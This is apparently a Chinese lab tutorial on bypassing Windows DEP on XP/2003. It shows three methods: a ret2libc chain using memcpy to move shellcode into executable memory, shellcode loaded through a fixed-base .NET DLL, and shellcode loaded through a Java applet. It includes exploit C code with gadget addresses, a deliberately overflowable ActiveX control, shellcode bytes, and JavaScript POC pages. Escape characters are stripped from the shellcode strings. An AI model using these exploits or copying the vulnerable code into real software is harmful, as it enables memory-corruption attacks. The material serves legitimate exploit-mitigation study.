.net执行java方法,攻击DEP的方法(下)——可执行内存、.Net、Java Applet

1. 利用可执行内存

1.1 实验代码#include

#include

#include

#include

char shellcode[] =

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90"

"x8Ax17x84x7C" // pop eax retn

"x0Bx1AxBFx7C" // pop pop retn

"xBAxD9xBBx7C" // 修正EBP

"x5Fx78xA6x7C" // pop retn

"x08x00x14x00" // 弹出机器码在可执行空间的起始地址,转入执行用

"x00x00x14x00" // 可执行内存空间地址,复制用

"xBFx7DxC9x77" // push esp jmp eax && 跳转至(pop pop retn地址)

"xFFx00x00x00" // shellcode 长度

"xACxAFx94x7C" // memcpy入口

"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"

"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"

"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"

"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"

"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"

"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"

"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"

"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"

"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"

"x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"

"x53xFFx57xFCx53xFFx57xF8";

void test()

{

char str[176];

//__asm int 3

memcpy(str, shellcode, 450);

}

int main()

{

HINSTANCE hInst = LoadLibrary("shell32.dll");

char temp[200];

test();

return 0;

}

1.2 实验内容

实验思路禁用GS和SafeSEH

test存在溢出

覆盖返回地址后,通过Ret2Libc技术,利用memcpy函数将shellcode复制到可读可写可执行区域

最后在这段可执行的内存空间中执行shellcode,实现DEP的绕过

实验环境推荐使用环境备注操作系统Windows 2003 SP2

DEP状态Optout

编译器VC 6.0

编译选项禁用优化选项

build版本debug版本

在OllyDbg中可以看出,在0x00140000的位置,Access和Initial Access都是RWE,这代表这一段是可读可写可执行的内存,长度为0x1000。源内存起始地址 [ebp+0xC],用push esp jmp eax指令地址来填充,push esp后这个位置会覆盖为当前esp,以实现源内存起始地址的动态获取

复制字符串长度:0xFF [ebp+0x10]

目的地址0x00140000 [ebp+0x8]

实验中,溢出字符串起始地址0x0012FDB0,返回地址0x0012FE68

pop eax retn地址:0x7C84178A

pop pop retn地址:0x7CBF1A0B(pop ebx pop edi retn)

修正EBP retn 4地址:0x7CBBD9BA(push esp pop ebp retn 4)

pop ecx retn地址:0x7CA6785F

push esp jmp eax地址:0x77C97DBF(用于跳转)

memcpy入口地址:0x7C94AFAC

2. 利用.NET

实验支持:具有溢出漏洞的ActiveX控件

包含shellcode的.NET控件

可以触发ActiveX控件中溢出漏洞的POC页面

2.1 ActiveX控件

ActiveX控件void CVulnerAX_DEPCtrl::test(LPCTSTR str)

{

// AFX_MANAGE_STATE(AfxGetStaticModuleState());

// TODO: Add your dispatch handler code here

printf("aaaa");

char dest[100];

sprintf(dest, "%s", str);

}

实验环境:推荐使用环境备注操作系统Windows XP SP3

编译器Visual Studio 2008

优化禁用优化选项

MFC在静态库中使用MFC工程属性->General->Use of MFC

字符集使用Unicode字符集工程属性->General->Character Set

build版本release版本

编译好控件之后,在实验机器上注册该ActiveX控件.regsvr32

2.2 包含shellcode的.NET控件在VS2008中C#下边建立一个DLL解决方案

1c4b551b87a5e4357b04ed56f250c6ec.png

包含shellcode的.NET控件代码using System;

using System.Collections.Generic;

using System.Linq;

using System.Text;

namespace DEP_NETDLL

{

public class Class1

{

public void Shellcode()

{

string shellcode =

"u9090u9090u9090u9090u9090u9090u9090u9090" +

"u68fcu0a6au1e38u6368ud189u684fu7432u0c91" +

"uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332" +

"u7568u6573u5472ud233u8b64u305au4b8bu8b0c" +

"u1c49u098bu698buad08u6a3du380au751eu9505" +

"u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598b" +

"u0320u33ddu47ffu348bu03bbu99f5ube0fu3a06" +

"u74c4uc108u07caud003ueb46u3bf1u2454u751c" +

"u8be4u2459udd03u8b66u7b3cu598bu031cu03dd" +

"ubb2cu5f95u57abu3d61u0a6au1e38ua975udb33" +

"u6853u6577u7473u6668u6961u8b6cu53c4u5050" +

"uff53ufc57uff53uf857";

}

}

}

实验环境:推荐使用环境备注操作系统Windows XP SP3

编译器Visual Studio 2008

基址0x24240000

build版本Debug版本Release版本的优化会影响shellcode

设置DLL的基址方法如下:"Project->Properties->Build->Advanced"

c3c43a957556f5428208a40a697f9eb6.png

2.3 POC及测试

编译好DLL之后,需要将DLL和溢出ActiveX控件的POC页面放到同一目录下,并通过如下调试代码调用

Shellcode设置好后,就来设置POC页面,并将POC页面与.NET控件放到一台WEB服务器上,在实验机上访问这个POC页面,以触发ActiveX中的溢出漏洞,通过.NET控件绕过DEP。

POC页面如下

var s = "u9090";

while(s.length < 54){

s += "u9090";

}

s += "u24E2u2424";

test.test(s);

实验解释:为了简单地反映绕过DEP的过程,本实验所攻击的ActiveX控件不启用GS

通过web页面同时加载具有溢出漏洞的ActiveX控件和包含shellcode的.NET控件

ActiveX控件中的test函数存在典型的溢出

编译.NET控件的时候,我们设置DLL的基址,所以我们将函数的返回地址覆盖为.NET控件中的shellcode起始地址,进而转入shellcode执行

实验使用Unicode编码,在计算填充长度时要考虑Unicode与Ascii编码之间的长度差问题

实验环境:推荐使用环境备注操作系统Windows XP SP3

DEPOptout

浏览器IE6

当弹出下面所示对话框时用OllyDbg附加IE的进程,附加好后按一下F9键让程序继续运行。

8f3edc5ecc5bdf2e40960ce789b0bec3.png

然后转到DEP_NETDLL.dll的内存空间中查找shellcode的具体位置,然后进入该内存空间。

shellcode的起始地址0x242424DF。而我们填充的字符串起始地址0x01EFF534,函数返回地址0x01EFF5A0,所以填充108(0x6C)字节就可以覆盖返回地址。 令人意外的是,我们无法包含dll文件,使用了所有可能的办法,都无法在html中使用dll

3. 利用java applet

实验支持:具有溢出漏洞的ActiveX控件

包含shellcode的Java Applet控件

可以触发ActiveX控件中溢出漏洞的POC页面

3.1 ActiveX控件

上一讲已经介绍

3.2 包含shellcode的Java Applet控件

实验代码import java.applet.*;

import java.awt.*;

public class Shellcode extends Applet{

public void init(){

Runtime.getRuntime().gc();

StringBuffer buffer = new StringBuffer(255);

buffer.append("u9090u9090u9090u9090u9090u9090u9090u9090" +

"u68fcu0a6au1e38u6368ud189u684fu7432u0c91" +

"uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332" +

"u7568u6573u5472ud233u8b64u305au4b8bu8b0c" +

"u1c49u098bu698buad08u6a3du380au751eu9505" +

"u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598b" +

"u0320u33ddu47ffu348bu03bbu99f5ube0fu3a06" +

"u74c4uc108u07caud003ueb46u3bf1u2454u751c" +

"u8be4u2459udd03u8b66u7b3cu598bu031cu03dd" +

"ubb2cu5f95u57abu3d61u0a6au1e38ua975udb33" +

"u6853u6577u7473u6668u6961u8b6cu53c4u5050" +

"uff53ufc57uff53uf857");

}

}

编译成class文件后,在Web中通过如下代码调用

实验环境:推荐使用环境备注操作系统Windows XP SP3

Java JDK1.4.2

目标版本1.1脱离JRE,在不具有JRE机器上也能执行

编译指令javac 路径Shellcode.java -target 1.1

3.3 POC及其利用

编译产生的Shellcode.class与POC放到同一目录下

POC页面代码

var s = "u9090";

while(s.length < 54){

s += "u9090";

}

s += "u04FCu1001";

test.test(s);

代码解释:ActiveX不使用GS

通过Web页面同时加载具有溢出漏洞的ActiveX控件和包含shellcode的Java applet控件

java applet的内存空间中具有可执行权限,所以我们的shellcode有执行的机会

ActiveX控件中的test函数存在典型的溢出

将函数的返回地址覆盖为Java Applet中的.text段的shellcode起始地址,进而转入shellcoe中执行

实验用Unicode编码,需要考虑Unicode与Ascii之间的转换

实验环境:推荐使用环境备注操作系统Windows XP SP3

DEP状态Optout

JRE状态启用

Java JDK1.4.2不要使用高版本的JRE,否则Java applet申请的内存不在IE进程中

浏览器IE6

在浏览器中启用JRE:Internet选项->高级->Java->将Java……用于

当弹出“开始溢出”对话框时用OllyDbg附加IE进程,附加好后用F9继续执行。而shellcode地址可以通过OllyFindAddr插件中的Custom-Search搜索弹出对话框机器码的前4字节"FC686A0A"来定位shellcode

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值